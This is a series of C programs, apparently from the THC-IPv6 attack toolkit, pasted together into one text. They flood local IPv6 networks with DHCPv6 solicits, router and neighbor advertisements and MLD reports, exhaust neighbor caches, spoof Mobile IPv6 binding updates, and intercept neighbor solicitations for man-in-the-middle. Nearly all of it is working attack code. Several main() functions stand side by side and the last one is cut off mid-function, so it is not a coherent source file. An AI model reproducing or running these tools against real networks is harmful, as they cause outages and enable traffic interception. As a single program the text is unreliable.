void check_packets(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) {
int len = header->caplen, pkt_len = 0, mlen = 10, olen;
unsigned char *ptr = (unsigned char *) data, *pkt = NULL;
char *smac, mac[6] = { 0, 0x0d, 0, 0x0d, 0x0d, 0x0e };
char mybuf[1024] = { 0x03, 0, 0, 0, 0, 8, 0, 2, 0, 0 };
if (len < 140 || data[20] != NXT_UDP || data[62] != 2)
return;
data += 62;
len -= 62;
memcpy(mybuf + 1, data + 1, 3);
data += 4;
len -= 4;
while (len >= 4) {
if ((olen = data[2] * 256 + data[3]) > len - 4 || olen < 0) {
printf("Information: evil packet received\n");
olen = 0;
len = -1;
} else {
if (data[1] > 1 && data[1] <= 3) {
memcpy(mybuf + mlen, data, olen + 4);
mlen += olen + 4;
} else if (data[1] == 1) {
memcpy(mybuf + mlen, data, olen + 4);
mlen += olen + 4;
//smac auf client mac in paket setzen
if (olen == 14)
smac = (char *) (data + 12);
else
smac = mac;
} else if (data[1] == 39 && do_dns) {
memcpy(mybuf + mlen, data, olen + 4);
mybuf[mlen + 4] = 1; // force server to write dns entry
mlen += olen + 4;
}
data += olen + 4;
len -= olen + 4;
if (len < 0) {
printf("Information: evil packet received\n");
len = -1;
}
}
}
if (len >= 0) {
counter++;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ptr + 38, ptr + 22, 1, 0, 0, 0, 0)) == NULL)
return;
if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, mybuf, mlen) < 0)
return;
if (thc_generate_and_send_pkt(interface, smac, ptr + 6, pkt, &pkt_len) < 0)
return;
pkt = thc_destroy_packet(pkt);
if (counter % 100 == 0)
printf("!");
}
}
void send_rs_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *pkt = NULL, *dstmac = (unsigned char *) data + 6, *dst = (unsigned char *) data + 14 + 8, *ipv6hdr = (unsigned char *) (data + 14);
int pkt_len = 0, i;
if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERSOL || header->caplen < 14 + 40 + 2)
return;
if ((pkt = thc_create_ipv6(frint, PREFER_LINK, &pkt_len, frip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0)
return;
}
if (do_frag) {
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0)
return;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, frbuf, frbuflen, 0) < 0)
return;
if (do_dst) {
thc_generate_pkt(frint, frmac, dstmac, pkt, &pkt_len);
frhdr = (thc_ipv6_hdr *) pkt;
thc_send_as_fragment6(frint, frip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232);
} else {
if (thc_generate_and_send_pkt(frint, frmac, dstmac, pkt, &pkt_len) < 0)
return;
}
pkt = thc_destroy_packet(pkt);
}
int main(int argc, char *argv[]) {
char *interface;
int prefer = PREFER_GLOBAL;
unsigned char *srcmac;
unsigned char *dst6, *src6;
unsigned char *ptr;
//char dstmac[6] = "";
unsigned char *dstmac = NULL, *tmpmac, *dstnet;
int pkt_len = 16;
int count = 0;
int i;
int size, numbytes, samenet = 0;
unsigned char *pkt = NULL;
unsigned char buf[] = "NDP Exhaustion";
// hardcoded mac
/*dstmac[0] = 0x00;
dstmac[1] = 0x05;
dstmac[2] = 0x73;
dstmac[3] = 0xa0;
dstmac[4] = 0x00;
dstmac[5] = 0x01; */
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
interface = argv[1];
if ((srcmac = thc_get_own_mac(interface)) == NULL) {
printf("Error: invalid interface defined: %s\n", interface);
exit(-1);
}
dstnet = argv[2]; // hier stehts dstnet drin
if (dstnet == NULL || (ptr = index(dstnet, '/')) == NULL) {
printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
exit(-1);
}
*ptr++ = 0;
size = atoi(ptr); // prefix lenght
// printf("Prefix length is %d\n", size);
if (size != 64)
fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size);
numbytes = (128 - size) / 8; // number of bytes to create
// printf("Creating %d random adress bytes\n", numbytes);
srand(time(NULL) + getpid()); // initalize random number generator
dst6 = thc_resolve6(dstnet);
// thc_dump_data(dst6, 16, "dst");
if (argc >= 4)
src6 = thc_resolve6(argv[3]);
else
src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
// thc_dump_data(src6, 16, "src");
dstmac = thc_get_mac(interface, src6, dst6);
printf("Starting to randomly ping addresses in network %s/%d on %s:\n", dstnet, size, interface);
while (1) {
++count;
for (i = 0; i < numbytes; i++) {
dst6[16 - numbytes + i] = rand() % 256; // direct destination manipulation
}
if (count == 1) {
tmpmac = thc_get_mac(interface, src6, dst6);
if (tmpmac != NULL && dstmac != NULL && memcmp(dstmac, tmpmac, 6) == 0)
samenet = 1;
} else {
if (samenet == 0) {
free(dstmac);
dstmac = thc_get_mac(interface, src6, dst6);
}
}
// printf("%s\n", ip6adr);
// printf("Sending ICMP ECHO to %s\n", ip6adr);
if ((pkt = thc_create_ipv6(interface, prefer, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL)
errx(EXIT_FAILURE, "THC: Could not create IPv6 packet\n");
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, buf, sizeof(buf), 0) == -1)
errx(EXIT_FAILURE, "THC: Could not add ICMP6 packet contents\n");
//thc_add_udp(pkt, &pkt_len, 53, 53, 0, buf, sizeof(buf));
if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
printf("!");
thc_destroy_packet(pkt);
usleep(1);
if (count % 100 == 0)
printf(".");
}
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[56], buf2[6], buf3[1504];
unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i, type = NXT_ICMP6;
unsigned char *pkt = NULL;
int pkt_len = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, cnt, do_dst = 0;
thc_ipv6_hdr *hdr = NULL;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "DFHr")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[optind];
mtu = 1500;
size = 64;
ip6 = malloc(16);
routerip6 = malloc(16);
route6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
routerip6[0] = 0x2a;
routerip6[1] = 0x01;
routerip6[15] = 0x01;
memset(route6 + 8, 0, 8);
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 3;
buf[17] = 4;
buf[18] = size;
buf[19] = 128 + 64 + 32;
memset(&buf[20], 255, 8);
buf[48] = 1;
buf[49] = 1;
printf("Starting to flood network with router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
for (i = 2; i < 8; i++)
routerip6[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
memcpy(route6, routerip6, 8);
memcpy(&buf[32], route6, 16);
memcpy(&buf[50], mac6, 6);
count++;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6)
type = NXT_FRAG;
for (i = 0; i < do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
return -1;
if (do_dst) {
thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
hdr = (thc_ipv6_hdr *) pkt;
thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + 14, hdr->pkt_len - 40 - 14, 1240);
} else {
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
}
pkt = thc_destroy_packet(pkt);
// usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0");
unsigned char buf[6], buf2[RECORD_NUMBER * (4 + 16 + 16)];
unsigned char *dst = thc_resolve6("ff02::16"), *dstmac = thc_get_multicast_mac(dst);
int i, j;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
int count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
mac[0] = 0x00;
mac[1] = 0x18;
ip6[9] = mac[1];
memset(buf, 0, sizeof(buf));
buf[0] = 5;
buf[1] = 2;
memset(buf2, 0, sizeof(buf2));
for (i = 0; i < RECORD_NUMBER; i++) {
buf2[0 + i * 36] = 3; // CHANGE_TO_INCLUDE_MODE
buf2[3 + i * 36] = 1;
buf2[4 + i * 36] = 0xff;
buf2[5 + i * 36] = 0x02;
memcpy(buf2 + 20 + i * 36, ip6, 16);
}
printf("Starting to flood network with MLDv2 reports on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 0; i < 4; i++)
mac[2 + i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
for (i = 0; i < RECORD_NUMBER; i++) {
for (j = 0; j < 6; j++)
buf2[14 + j + i * 36] = rand() % 256;
memcpy(buf2 + 29 + i * 36, ip6 + 9, 7);
}
count++;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD2_REPORT, 0, RECORD_NUMBER, buf2, sizeof(buf2), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
// fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
// perror("");
// return -1;
printf("!");
}
pkt = thc_destroy_packet(pkt);
// usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL;
unsigned char *h = NULL, *ha = NULL, *coa = NULL, *mac = NULL;
int pkt1_len = 0, rawmode = 0;
unsigned int id = 2, i;
char *interface;
thc_ipv6_hdr *hdr;
if (argc < 4 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
interface = argv[1];
h = thc_resolve6(argv[2]);
ha = thc_resolve6(argv[3]);
coa = thc_resolve6(argv[4]);
if (rawmode == 0 && (mac = thc_get_mac(interface, coa, ha)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
exit(-1);
}
for (i = 0; i < 4; i++) {
memset(buf, 0, sizeof(buf));
buf[0] = 1;
buf[1] = 2;
buf[4] = 201;
buf[5] = 16;
memcpy(&buf[6], h, 16);
buf_len = 22;
if ((pkt1 = thc_create_ipv6(interface, PREFER_GLOBAL, &pkt1_len, coa, ha, 64, 0, 0, 0, 0)) == NULL)
return -1;
hdr = (thc_ipv6_hdr *) pkt1;
hdr->original_src = h;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, buf_len) < 0)
return -1;
memset(buf, 0, sizeof(buf));
buf[0] = 59;
buf[1] = 3;
buf[2] = 5;
buf[3] = 0;
buf[6] = (id % 65536) / 256;
buf[7] = id % 256;
buf[8] = 192;
buf[10] = 0xff;
buf[11] = 0xff;
buf[12] = 1;
buf[14] = 3;
buf[15] = 16;
memcpy(&buf[16], coa, 16);
buf_len = 32;
if (thc_add_data6(pkt1, &pkt1_len, NXT_MIPV6, buf, buf_len) < 0)
return -1;
thc_generate_and_send_pkt(interface, NULL, mac, pkt1, &pkt1_len);
id += 16384;
}
return 0;
}
int main(int argc, char *argv[]) {
char mac[6] = { 0, 0x0c, 0, 0, 0, 0 }, *pkt = NULL;
char wdatabuf[1024];
unsigned char *mac6 = mac, *src, *dst;
int i, s, len, pkt_len = 0, dlen = 0;
unsigned long long int count = 0;
pcap_t *p = NULL;
int do_all = 1, use_real_mac = 0, use_real_link = 0;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "dnNr1")) >= 0) {
switch (i) {
case 'N':
use_real_link = 1; // no break
case 'n':
use_real_mac = 1;
break;
case '1':
do_all = 0;
case 'd':
do_dns = 1;
case 'r':
i = 0;
break; // just to ignore -r
default:
fprintf(stderr, "Error: unknown option -%c\n", i);
exit(-1);
}
}
memset(mac, 0, sizeof(mac));
interface = argv[optind];
dns_name = argv[optind + 1];
if (use_real_link)
src = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
else
src = thc_resolve6("fe80::");
if (use_real_mac)
mac6 = thc_get_own_mac(interface);
dst = thc_resolve6("FF02::1:2");
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// only to prevent our system to send icmp port unreachable messages
if ((s = thc_bind_udp_port(546)) < 0)
fprintf(stderr, "Warning: could not bind to 546/udp\n");
if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) {
fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface);
exit(-1);
}
len = sizeof(solicit);
memcpy(wdatabuf, solicit, len);
if (do_dns) {
memcpy(wdatabuf + len, dnsupdate1, sizeof(dnsupdate1));
dlen = len + 8;
len += sizeof(dnsupdate1);
if (dns_name != NULL && strlen(dns_name) < 240) {
if (dns_name[0] != '.') {
wdatabuf[len] = '.';
wdatabuf[dlen - 5]++;
wdatabuf[dlen - 3]++;
len++;
}
memcpy(wdatabuf + len, dns_name, strlen(dns_name) + 1);
wdatabuf[dlen - 5] += strlen(dns_name) + 1;
wdatabuf[dlen - 3] += strlen(dns_name) + 1;
len += strlen(dns_name) + 1;
}
memcpy(wdatabuf + len, dnsupdate2, sizeof(dnsupdate2));
len += sizeof(dnsupdate2);
}
printf("Starting to flood dhcp6 servers locally on %s (Press Control-C to end) ...\n\n", interface);
while (1) {
count++;
if (!use_real_link)
memcpy(src + 8, (char *) &count, 8);
// start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand
for (i = 0; i < 3; i++) {
wdatabuf[i + 32] = rand() % 256;
wdatabuf[i + 18] = rand() % 256;
mac[i + 2] = rand() % 256;
if (do_dns)
wdatabuf[i + dlen] = 'a' + rand() % 26;
}
if (!use_real_mac)
memcpy(wdatabuf + 22, mac, 6);
memcpy(wdatabuf + 1, (char *) &count, 3);
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0)
return -1;
// we have to tone it down, otherwise we will not get advertisements
if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0)
return -1;
pkt = thc_destroy_packet(pkt);
if (do_all) {
usleep(75);
while (thc_pcap_check(p, (char *) check_packets, NULL) > 0);
}
if (count % 100 == 0)
printf(".");
}
return 0; // never reached
}
int main(int argc, char *argv[]) {
char dummy[24], mac[16] = "", buf2[6], buf3[1398];
unsigned char *ownmac = mac;
int i, j;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
if (debug)
printf("Preparing spoofed packet for speed-up\n");
while ((i = getopt(argc, argv, "FHDRl")) >= 0) {
switch (i) {
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'R':
do_reverse = 1;
break;
case 'l':
do_loop = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
interface = argv[optind];
if (argc - optind == 2 && argv[optind + 1] != NULL)
sscanf(argv[optind + 1], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
ownmac = thc_get_own_mac(interface);
memset(dummy, 'X', sizeof(dummy));
dummy[16] = 2;
dummy[17] = 1;
memcpy(&dummy[18], ownmac, 6);
memset(buf2, 0, sizeof(buf2));
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (i = 0; i <= 0 + do_reverse; i++) {
// printf("i: %d\n", i);
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
ptype = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (ptype == NXT_ICMP6)
ptype = NXT_FRAG;
for (j = 0; j < do_frag; j++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (ptype == NXT_ICMP6)
ptype = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE, dummy, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *) pkt;
memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero
if (debug) {
thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet");
printf("\n");
}
// printf("i: %d, do_reverse: %d\n", i, do_reverse);
if (i == 0 && do_reverse) {
// printf("ipv62->ipv6 %p\n", ipv6);
ipv62 = ipv6;
ipv62->pkt[0] = 0x33; // multicast mac hack for destination
ipv62->pkt[1] = 0x33; // multicast mac hack for destination
ipv6 = NULL;
pkt2 = pkt;
pkt = NULL;
pkt2_len = pkt_len;
pkt_len = 0;
ipv62->pkt[pkt2_len - 28] = 0x20; // reset SOL flag, OVERRIDE only
}
}
signal(SIGTERM, kill_children);
signal(SIGSEGV, kill_children);
signal(SIGHUP, kill_children);
signal(SIGINT, kill_children);
memset((char*)pp, 0, sizeof(pp));
printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n");
printf(" => echo 1 > /proc/sys/net/ipv6/conf/all/forwarding\n");
printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n");
return thc_pcap_function(interface, "icmp6", (char *) intercept, 1, NULL);
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0");
unsigned char buf[6];
unsigned char *dst = thc_resolve6("ff02:0:0:0:0:0:0:6a"), *dstmac = thc_get_multicast_mac(dst);
int i;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
int count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
memset(buf, 0, sizeof(buf));
mac[0] = 0x00;
mac[1] = 0x18;
ip6[9] = mac[1];
printf("Starting to flood network with MLD router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 0; i < 4; i++)
mac[2 + i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
count++;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_ROUTERADV, 15, 0x00300006, buf, 0, 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
// fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
// perror("");
// return -1;
printf("!");
}
pkt = thc_destroy_packet(pkt);
// usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *mac6 = mac, *ip6;
unsigned char buf[24];
unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int i;
unsigned char *pkt = NULL;
int pkt_len = 0, flags, rawmode = 0, count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
ip6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
memset(buf, 0, sizeof(buf));
buf[16] = 2;
buf[17] = 1;
buf[18] = mac[0];
buf[19] = mac[1];
memcpy(buf, ip6, 16);
printf("Starting to flood network with neighbor advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
count++;
memcpy(buf + 10, ip6 + 10, 6);
memcpy(&buf[20], mac + 2, 4);
flags = ICMP6_NEIGHBORADV_OVERRIDE;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf, sizeof(buf), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
pkt = thc_destroy_packet(pkt);
// usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
int main(int argc, char *argv[]) {
char *interface, mac[16] = "", dmac[16] = "";
unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL;
unsigned char buf[512], *ptr, buf2[6], buf4[6], string[] = "ip6 and icmp6 and dst ff02::2";
unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1];
unsigned char *dst = thc_resolve6("ff02::1");
unsigned char *dstmac = thc_get_multicast_mac(dst);
unsigned char *dns = NULL;
int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0;
unsigned char *pkt = NULL, *pkt1, *pkt2, *searchlist = NULL;
int pkt_len = 0, pkt_len1, pkt_len2;
pcap_t *p;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
memset(rbuf, 0, sizeof(rbuf));
memset(mac, 0, sizeof(mac));
while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:")) >= 0) {
switch (i) {
case 'i':
interval = atoi(optarg);
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4],
(unsigned int *) &dmac[5]);
dstmac = dmac;
break;
case 'S':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
mac6 = mac;
break;
case 's':
if ((ip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg);
exit(-1);
}
break;
case 'M':
mtu = atoi(optarg);
if (mtu < 0 || mtu > 65535) {
fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg);
exit(-1);
}
if (mtu < 1228 || mtu > 1500)
fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing: %d\n", mtu);
break;
case 'n':
to_send = atoi(optarg);
if (to_send < 1 || mtu > 255) {
fprintf(stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg);
exit(-1);
}
break;
case 'A':
if (pcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES);
exit(-1);
}
if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
fprintf(stderr, "Error: -A option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
exit(-1);
}
*ptr++ = 0;
if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-)
fprintf(stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg);
exit(-1);
}
if (size != 64)
fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size);
if (index(optarg, ':') == NULL)
strcat(optarg, "::");
if ((routerip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg);
exit(-1);
}
pbuf[pcnt][0] = size % 256;
memcpy((char *) &pbuf[pcnt][1], routerip6, 16);
pcnt++;
break;
case 'a':
plife = atoi(optarg);
break;
case 'r':
rlife = atoi(optarg);
break;
case 'd':
dlife = atoi(optarg);
break;
case 'l':
llife = atoi(optarg);
break;
case 'T':
reach = atoi(optarg);
break;
case 't':
trans = atoi(optarg);
break;
case 'p':
if (strncasecmp(optarg, "low", 3) == 0)
prio = 0;
else
if (strncasecmp(optarg, "med", 3) == 0)
prio = 1;
else
if (strncasecmp(optarg, "hi", 2) == 0)
prio = 2;
else
if (strncasecmp(optarg, "res", 3) == 0)
prio = 3;
else {
fprintf(stderr, "Error: unknown priority, known keywords are low, medium and high: %s\n", optarg);
exit(-1);
}
break;
case 'R':
if (rcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES);
exit(-1);
}
if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
fprintf(stderr, "Error: -R option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
exit(-1);
}
*ptr++ = 0;
if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-)
fprintf(stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg);
exit(-1);
}
if (index(optarg, ':') == NULL)
strcat(optarg, "::");
if ((routerip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg);
exit(-1);
}
rbuf[rcnt][0] = size % 256;
memcpy((char *) &rbuf[rcnt][1], routerip6, 16);
rcnt++;
break;
